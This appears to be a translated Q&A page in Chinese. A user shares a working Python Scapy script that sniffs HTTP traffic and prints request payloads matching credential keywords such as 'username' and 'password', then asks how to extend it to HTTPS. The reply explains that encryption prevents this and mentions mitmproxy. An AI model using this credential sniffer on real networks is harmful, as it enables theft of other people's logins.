python - 如何在此处添加对嗅探 HTTPS 数据包的支持?
问题描述
到目前为止,我已经能够使用它来过滤和查看 HTTP 请求和数据包。如何包含额外的支持以类似地查看 HTTPS 数据包?
#!/usr/bin/env python
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ['username', 'uname', 'user', 'id', 'key', 'email', 'email-id', 'login', 'password', 'pass', "passwd"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request >>> " + url)
login_info = get_login_info(packet)
if login_info:
print("\n\nEntered login credentials >>> " + login_info + "\n\n")
sniff("eth0")
解决方案
简短的回答:你不能。
您可能需要更多地研究 HTTPS。由于所有内容都已加密,因此如果没有私钥,您将看不到任何内容。请参阅 https://security.stackexchange.com/a/83039
看看mitmproxy
您是否出于调试目的这样做,或者this
他们是否在您已泄露的密钥上使用 RSA。(我怀疑你正在做任何这些)
推荐阅读
- objective-c - iOS:块捕获一个值
- reactjs - 以外部 api 为前缀的任何地方的 CORS 都需要 400 标头
- html - 选定选项卡上的样式
- java - 仅填充和清空所选行的 JComboBox
- javascript - 如何从 html5 中的输入类型 = 文件中获取缓冲区对象,如 nodejs 中的 fs readFile
- ios - React-Native IOS 构建在 pod 安装时出现错误。?
- python - Selenium Python XPATH how to select input field which is in post form?
- css - 什么决定了 Chrome/Mac 轮廓对焦环样式的像素深度?
- javascript - 祖先树中没有类的 querySelector 元素
- kubernetes - kubectl 不输出日志